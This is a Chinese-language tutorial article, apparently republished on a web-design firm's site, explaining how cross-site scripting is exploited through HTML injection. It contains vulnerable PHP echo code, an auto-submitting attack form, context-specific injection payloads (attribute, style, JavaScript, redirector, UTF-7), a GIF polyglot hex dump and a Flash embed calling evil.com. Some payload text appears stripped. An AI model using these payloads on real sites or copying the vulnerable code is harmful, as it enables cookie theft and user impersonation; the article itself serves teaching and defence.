新聞中心
【.COM 獨家特稿】跨站腳本的名稱源自于這樣一個事實,即一個Web站點(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個不同的、有漏洞的Web 站點中。當這些注入的代碼作為目標站點的代碼在受害者的瀏覽器中執(zhí)行時,攻擊者就能竊取相應的敏感數(shù)據(jù),并強迫用戶做一些用戶非本意的事情。

為金秀等地區(qū)用戶提供了全套網(wǎng)頁設計制作服務,及金秀網(wǎng)站建設行業(yè)解決方案。主營業(yè)務為做網(wǎng)站、網(wǎng)站設計、金秀網(wǎng)站設計,以傳統(tǒng)方式定制建設網(wǎng)站,并提供域名空間備案等一條龍服務,秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務。我們深信只要達到每一位用戶的要求,就會得到認可,從而選擇與我們長期合作。這樣,我們也可以走得更遠!
在本文的上篇中,我們詳細介紹了當前Web應用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文將介紹跨站腳本漏洞利用的過程,并對HTML注入進行深入分析。
一、跨站腳本漏洞利用的過程
現(xiàn)在,您已經(jīng)熟悉了瀏覽器中的各種安全技術,下面我們開始設法利用XSS規(guī)避這些安全技術。XSS的主要目標是通過把攻擊者選擇的JavaScript、VBScript或者其它為瀏覽器所接受的腳本語言注入到(放進)某些Web應用程序之中。只要攻擊者可以將腳本植入有弱點的Web應用程序中的任何地方,瀏覽器就會認為這個腳本是來自該有弱點的Web應用程序,而非非出自攻擊者之手。
這樣的話,該腳本就能夠在這個有弱點的Web應用程序的域中運行了,并能進行下列活動:有權讀取那個有弱點的Web應用程序使用的Cookie;能夠看到該有弱點的Web應用程序提供的頁面的內容,甚至能將它們發(fā)送給黑客;改變有弱點的Web應用程序的外觀;回調運行有弱點的Web應用程序的服務器。
大體上,跨站點腳本攻擊可以分為三步進行:
1.HTML注入。我們將介紹把腳本注入到Web應用程序的各種可能的方法。所有HTML注入范例只是注入一個JavaScript彈出式的警告框:a_lert(1)。
2.做壞事。如果您覺得警告框還不夠刺激,我們將討論當受害者點擊了一個被注入了HTML代碼的頁面鏈接時攻擊者能作的各種的惡意事情。
3.誘捕受害者。我們論述如何強制或者誘使受害者執(zhí)行惡意JavaScript代碼。
一、HTML注入簡介
將HTML和(更為重要的)腳本代碼注入Web應用程序的方法簡直太多了。如果某個Web應用程序的HTTP響應中“照搬”了在HTTP請求中輸入的內容,例如尖括號、圓括號、句號、等號等,那么說明這個Web應用程序和域具有HTML注入漏洞,并且該漏洞十有八九可以用于XSS。
本節(jié)將為讀者介紹最常見的HTML注入方法,但是無法包括所有方法,因為這些方法是在太多了。對于大多數(shù)小型至中型的網(wǎng)站來說,這些技術很可能仍然奏效。只要有耐心,那么您或許也能夠使用其中的一種技術成功應用于一個大型Web站點。
下面我們將分門別類的介紹各種注入方法。
二、傳統(tǒng)的反射式和存儲式HTML注入
傳統(tǒng)的XSS攻擊是一種反射式的HTML注入攻擊,借此,一個Web應用程序接受在HTTP請求中的用戶輸入。該Web應用程序會返回一個HTTP響應,其主體中將包含原封不動的用戶輸入。如果該服務器的響應跟用戶的原始輸入完全一致,那么這些用戶輸入就會被瀏覽器當作有效的HTML、VBScript或者JavaScript進行解釋??紤]下列的服務器端的PHP代碼:
< html >
< body >
< ?php
if (isset($_GET{'UserInput'})){
$out = '您輸入的內容為: "' . $_GET{'UserInput'} . '".';
} else {
$out = '< form method=”GET”>請在此輸入內容: ';
$out .= '< input name="UserInput" size="50" >';
$out .= '< input type="submit" >';
$out .= '< /form >';
}
print $out;
? >
< /body >
< /html >
|
圖1展示了這段代碼放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客戶端看到的頁面內容。
| 圖1 一個簡單的PHP腳本,用以接收用戶輸入(MyPhp.php) |
當用戶點擊“提交查詢”按鈕時,就會生成下列GET請求:
http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha
這個PHP應用程序看到用戶輸入的“hahaha”后,將響應一個頁面,如圖2所示。
| 圖2 用戶輸入“hahaha”后MyPhp.php回復的響應 |
下面顯示的是圖2中看到的頁面的HTML 源代碼,為醒目起見用戶輸入的內容這里以藍色字體顯示。
您輸入的內容為: "hahaha".
#p#
注意,實際上這里用戶可以輸入任何東西,例如〈 script 〉 a_lert( 1 )〈 / script 〉、〈 body onload = a_lert( 1 ) 〉、〈 img src = x onerror = a_lert( 1 ) 〉 或別的東西來把JavaScript代碼注入到該頁面。如果輸入 的話,將向服務器發(fā)送下列GET請求:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
如前所述,這個PHP應用程序只是把用戶輸入放到返回的響應頁面中。這時候瀏覽器會把這些用戶輸入的內容當作JavaScript指令,同時認為該腳本來自服務器,這可真是應了那句老話“拿著雞毛當令箭”了,所以瀏覽器就會執(zhí)行這些JavaScript代碼。圖3展示了用戶看到的樣子。
| 圖3 用戶輸入“ ”后MyPhp.php回復的響應 |
上圖中顯示的頁面的源代碼如下所示,其中用戶輸入用藍色字體表示。
您輸入的內容為: " ".
這是將 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的結果。這個例子是一種典型的反射式的HTML注入,因為用戶在HTTP請求中發(fā)送JavaScript代碼,同時Web應用程序立即響應(反射回)一個完全相同的JavaScript代碼。只要用戶單擊了下列鏈接,這個腳本就會執(zhí)行:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
從攻擊者的角度來看,利用注入的ML代碼讓惡意的web頁面完成單擊或者指定次數(shù)的點擊是非常重要的。假設前面的PHP應用程序只接受POST請求,而不接受GET,如下所示:
< html >
< body >
< ?php
if (isset($_POST{'UserInput'})){
$out = '您輸入的內容為: "' . $_POST{'UserInput'} . '".';
} else {
$out = '< form method="POST" >請在此輸入內容: ';
$out .= '< input name="UserInput" size="50" >';
$out .= '< input type="submit" >';
$out .= '< /form >';
}
print $out;
? >
< /body >
< /html >
在這種情況下,攻擊者無法像上面的GET請求那樣直接通過誘騙受害者點擊一個鏈接來注入HTML代碼;現(xiàn)在,他們必須采取一些額外的步驟。為此,攻擊者可以創(chuàng)建下列HTML頁面:
< html >
< body >
< form name="evilForm" method="POST ction="http://publicpages.
daxue.edu/~someuser/MyPhp.php">
< input type="hidden" name="input" value="〈 script 〉a_lert ( 1 )〈 / script 〉" 〉
< script >
document.evilForm.submit()
< /script >
< /body >
< /html >
當用戶單擊了指向上述HTML頁面的鏈接時,就會對http://public-pages.daxue.edu/~someuser/MyPhp.php進行HTML注入。當然,攻擊者也能利用HTML注入干別的壞事,而不僅僅象征性地調用一個JavaScript的彈出窗口。“第二步:做壞事”部分將解釋攻擊者除了彈出一個窗口外還能做些什么。
存儲式HTML注入跟反射式HTML注入非常相似,唯一區(qū)別在于攻擊者將腳本植入Web應用程序后,這些腳本會被Web應用程序存儲到一個可以檢索的地方。例如,對于允許用戶張貼和閱讀消息的網(wǎng)絡論壇,攻擊者可以在張貼消息時注入HTML代碼,然后其它用戶閱讀這則含有腳本的消息時,其中的腳本就會執(zhí)行。
三、定位存儲式和反射式HTML注入點
為了尋找存儲式和反射式HTML注入點,可以嘗試在所有表單輸入以及GET或者POST請求的所有參數(shù)中注入腳本。我們要假設參數(shù)/值對中的值都可能有漏洞。甚至嘗試在新生成的參數(shù)中注入HTML代碼,如下所示:
〈 script 〉 a_lert ( ' parameter ' )= 不起作用,因為這些測試字符串并不出現(xiàn)在響應的HTML主體區(qū)。舉例來說,假如向http://search.engine.com/search?p= 發(fā)送的這個請求返回的響應中,其預填充表單字段內是我們的HTML注入字符串,如:
遺憾的是,腳本標簽會被作為用于表單輸入字段的字符串,所以無法執(zhí)行。相反,嘗試http://search.engine.com/search?p=”> 的話,會得到如下所示的HTML應答:
〈 form input="text" name="p" value="〈 ,那么保不住攻擊者可以注入下列內容:
〈 /title 〉〈script 〉 a_lert( 1 ) 〈 /script 〉
這樣一來就擺脫了title標簽。USERINPUT3被放在一個式樣標簽中,任何人都可以在IE中設置USERINPUT3成下面的樣子:
black; background: url( ' javascript:a_lert( 1 ) ' );
于是他就能夠在Firefox使用它了:
1: expression( a_lert( 1 ) )
同樣的,有時候用戶輸入會作為其它的標簽的一部分出現(xiàn)在式樣參數(shù)中,如下所示:
如果您可以將USERINPUT3設為下面的值,那么就能在IE中運行JavaScript了:
javascript : a_lert(1)
或者對于Visual Basic愛好者,可以這樣使用:
vbscript:MsgBox(1)
Firefox不接受帶有JavaScript:協(xié)議處理程序的background:url()。然而,F(xiàn)irefox允許JavaScript作為表達式來執(zhí)行,在Firefox中將USERINPUT3A設為下列值:
); 1:expression(a_lert(1)
USERINPUT4可以直接利用,只要將USERPINUT4設為:
";a_lert(1);
USERINPUT5被深深嵌入到JavaScript內部。為了插入(確保會執(zhí)行的)a_lert(1)函數(shù),您必須把a_lert(1)放到所有代碼塊之外,并保證JavaScript代碼的前前后后都是合法的,如下所示:
')){}a_lert(1);if(0)
A_lert(1)之前的文本完成了原先的if語句,因此能確保a_lert(1)函數(shù)總是被執(zhí)行。a_lert(1)之后的文本創(chuàng)建了一個if語句用于剩余代碼塊,所以腳本標簽之間的全部代碼都是合法的JavaScript代碼。如果不這樣,JavaScript就會因為語法錯誤而無法解釋執(zhí)行。
您可以使用一些詭計來把JavaScript注入到USERINPUT6中,例如,可以使用下面的方法:
"> < script >a_lert(1)< /script >
或者,如果不允許使用尖括號,則使用一個JavaScript事件處理程序,例如onclick事件處理程序,如下所示:
" onclick="a_lert(1)
USERINPUT7 還可以是這樣:
' >< script >a_lert(1)< /script >
或者:
' style='x: expression( a_lert ( 1 ) )
甚至更簡單一些:
javascript: a_lert( 1 )
對于USERINPUT7的前兩條利用方法能保證腳本在裝入頁面時執(zhí)行,最后一種方法要求用戶單擊鏈接。您可以把它們都試一遍,看看是不是在某些情況下有些字符和字符串是不允許的。
USERINPUT8也面臨類似的HTML注入字符串。下面是使用事件處理程序的最佳方式:
notThere' onerror='a_lert( 1 )
XSS防御方法通常是對具有潛在惡意性的字符進行轉義或者編碼。舉例來說,如果用戶輸入 到一個文本字段,服務器可能以下列轉義后的字符串作為響應:
根據(jù)轉義后的字符串的所在位置,這些字符串將以本來面目出現(xiàn)并且不會執(zhí)行。轉義方法比較復雜,所以將在后面的對抗措施中加以詳細討論。大多數(shù)轉義例程不是忘記對具有潛在惡意性的字符和字符串進行轉義,就是使用了錯誤的編碼方法進行換碼。例如USERINPUT9,其事件處理程序把HTML實體編碼為ASCII,所以任何人可以用下列兩個字符串上演相同的攻擊:
x'); a_lert ( 1 );
以及:
x'); a_lert( 1 )
最后,USERINPUT10可以用事件處理程序利用,并突破輸入標簽,例子如下所示:
x onclick= a_lert ( 1 )
這個例子說明,用戶提供的字符串可以放到HTTP應答中的任何地方,看來真是一切皆有可能呀!
如果您在任何前面的實例中成功進行了HTML注入,那么該HTML注入就可用于在那個域上的任何地方的XSS。您可以用多種不同的方法來向Web應用程序注入JavaScript。如果你的嘗試曾經(jīng)導致頁面格式被破壞,諸如截斷頁面、顯示了除您注入以外的腳本,那么很可能就是找到了一個XSS漏洞。
四、重定向器中的反射式HTML注入
HTML注入的另一個大舞臺是重定向器。有些重定向器允許用戶重定向到任何URL。 遺憾的是,JavaScript:a_lert(1)是一個合法的URL。許多重定向器會對URL進行解析,以確定重定向到那里是否安全。這些解析器以及他們的程序員并不總是人們想象的那么聰明,所以像下面的URL:
javascript://www.anywhere.com/%0da_lert( 1 )
以及這個:
javascript://http://www.trustedsite.com/trustedDirectory/%0da_lert( 1 )
可能被接受。在上面的例子中,任何字符串都可以放置在JavaScript注解所用的雙斜杠之間以及URL編碼的換行符(%0d)之間。#p#
五、移動式應用中的HTML注入
有些流行的Web應用程序被移植到移動通信領域。這些移動式應用一般具有相同的功能,但是安全特性更差,并且仍然可以通過諸如IE 以及Firefox之類的瀏覽器進行訪問。 因此,它們是HTML注入攻擊以及跨站請求偽造的理想攻擊目標。
通常情況下,移動式應用作為主要的Web應用程序運行在相同的域上,因此移動式應用中的任何HTML注入都能夠訪問整個域,包括運行在該域上的主要的Web應用程序或者其它的Web應用程序。
六、在Ajax響應以及錯誤信息中的HTML注入
并非所有HTTP應答都會顯示給用戶。類似AJAX響應以及超文本傳輸協(xié)議(http)錯誤消息這些頁面通常會被開發(fā)人員所忽視。開發(fā)人員可能沒有考慮為AJAX響應提供HTML注入保護,因為這些請求通常不是由用戶直接使用的。然而,攻擊者可以用先前的代碼片斷模仿AJAX的GET以及POST請求。
同樣的,超文本傳輸協(xié)議(http)錯誤響應,諸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,通常也會被開發(fā)人員所忽略。開發(fā)人員傾向于假定一切都是HTTP 200(OK)。您可以嘗試觸發(fā)其它的響應,而非僅僅HTTP 200,然后試著注入腳本。
七、使用UTF-7編碼進行HTML注入
如果用戶的IE自動選擇編碼集,那么攻擊者就能規(guī)避大多數(shù)HTML注入預防措施。就像前面提到的那樣,HTML注入的預防措施一般依賴于對潛在的有害字符進行轉義處理。然而,UTF-7編碼技術使用了無法正常轉義的通用字符,而這些通用字符有時無法被某些Web應用程序進行換碼。 的UTF-7轉義版本將是下面的樣子:
+ADw-script+AD4-a_lert(1)+ADw-/script+AD4-
注意,這是一種不常見的攻擊,因為用戶一般不會打開自動選擇編碼技術選項。當然,也存在其他的利用字符編碼可變長度的UTF編碼攻擊技術,但是這要求對UTF有著深入廣泛的理解,所以它超出了本文的討論范圍。然而,這個問題說明其它編碼(例如MIME類型)的疏漏也是能引起HTML注入的。
八、利用MIME 類型不匹配來進行HTML注入
IE具有許多令人驚訝的未公開特性,例如,IE7 以及之前的版本嘗試加載一個圖像或者其它的非HTML的響應并且失敗時,它會將該響應作為HTML對待。為了弄明白這個情況,我們可以創(chuàng)建一個文本文件,并包含下列內容:
之后,將其保存為alert.jpg,然后在IE的URL地址欄中或一個iframe中裝載的這個“圖像”,這就會導致這里的JavaScript被執(zhí)行。
注意,如果該文件是從一個圖像標簽加載的話,它就不會作為腳本執(zhí)行了。
一般說來,當您試圖上載這樣的一個文件到一個圖像托管服務時,該服務將拒絕這個文件,因為它根本就不是一個圖像。但是圖像托管服務通常情況下會忽視文件的擴展名,而只通過文件的幻數(shù)(開始幾個字節(jié))來確定文件類型。
因此,攻擊者可以避開它,方法是用GIF注釋中的HTML來創(chuàng)建一個GIF圖像,然后將這個GIF保存為.jpg文件擴展名的文件。下面是一個單像素的GIF文件,如下所示:
00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|
00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!.. .|
00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;|
將其命名為test.jpg,并在IE中加載它,這會導致執(zhí)行這段JavaScript。這也是注入Flash跨域政策的一種好方法。只要把Flash安全策略的XML內容放入GIF注釋,并保證這個GIF文件不包含擴展的ASCII字符或者字節(jié)NULL即可。您還可以把HTML注入到未壓縮的圖像文件(諸如XPM以及BMP文件)的圖像數(shù)據(jù)部分,而不是注解中。
九、使用Flash進行HTML注入
在大多數(shù)HTML注入情形中,攻擊者可以注入任意的HTML。舉例來說,攻擊可以注入一個對象和/或嵌入一個標簽來加載該域上的Flash應用程序。 下面是一個例子:
src="http://evil.com/evil.swf" width="1" height="1">
這里的HTML有些繁瑣,但是它將JavaScript應用程序具有的控制權賦予一個Flash應用程序,例如(經(jīng)過ExternalInterface類)讀取Cookie、(經(jīng)過ExternalInterface類)改變web頁面外觀、(經(jīng)過XML類)讀取用戶私人數(shù)據(jù)以及(經(jīng)過XML類)以受害者的名義建立HTTP請求。
然而,F(xiàn)lash應用程序有時候會提供更多的功能。例如,flash應用程序可以通過Socket類創(chuàng)建原始的套按字連接。這允許攻擊者構造他們的完整的HTTP數(shù)據(jù)包(包括通過ExternalInterface類竊取Cookie)或者連接到電腦允許的其它端口上。
注意,Socket連接只能建立到達惡意腳本所源自的域的連接,除非攻擊者為完成攻擊還反射了一個不安全的跨域策略文件。
有些開發(fā)人員通過把響應的MIME類型設置為text/plain或者除text /html以外的任何東西來防止AJAX響應被注入HTML。HTML注入將無法進行,因為瀏覽器不會把響應解釋為HTML。然而,F(xiàn)lash并不關心跨域策略文件是哪種MIME類型,所以攻擊者有可能使用AJAX響應來反射一個不安全的跨域策略文件。
這允許惡意的Flash應用程序以受害者名義向有弱點的Web應用程序發(fā)送請求,讀取該域上的任意的頁面,并創(chuàng)建到達該域的套按字連接。這種類型的攻擊的威脅相對較弱,因為惡意的Flash應用程序不能竊取Cookie(但是它仍然可以以用戶的名義來完成任何動作),而且它不能在受害的用戶前模仿成應用程序,除非惡意的Flash應用程序將用戶重定向到一個攻擊者控制下的域。
然而,到目前為止,HTML注入所能做的最邪惡的事情還是在受害用戶目前把自己裝扮成Web應用程序,當然,通過其它方法也可以達到此目的,比如反射一個不安全的跨域策略文件,并使用ActionScript的XML類發(fā)送HTTP的GET和POST請求并且讀取響應。 在下一節(jié)中,我們描述攻擊是如何作惡的。
十、結束語
在瀏覽器中已經(jīng)建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來了更多的安全問題和安全措施。然而,如果攻擊者可以強迫用戶執(zhí)行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。
跨站點腳本攻擊(XSS)技術能夠強迫用戶執(zhí)行攻擊者以受害者名義在某個域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個域上的Web應用程序能夠提供(即供應、返回)被攻擊者所控制的字符。
因此,攻擊者可以向頁面注入代碼,而這些代碼將來會在這個有弱點的域的上下文中執(zhí)行。而本文將介紹跨站腳本漏洞利用的過程,并對HTML注入進行深入分析;我們將在下篇中詳細介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的,以及針對跨站腳本攻擊的防御措施。
【.COM 獨家特稿,轉載請注明出處及作者!】
新聞標題:跨站腳本攻擊深入解析之:漏洞利用過程
文章URL:http://www.fisionsoft.com.cn/article/cophggo.html


咨詢
建站咨詢
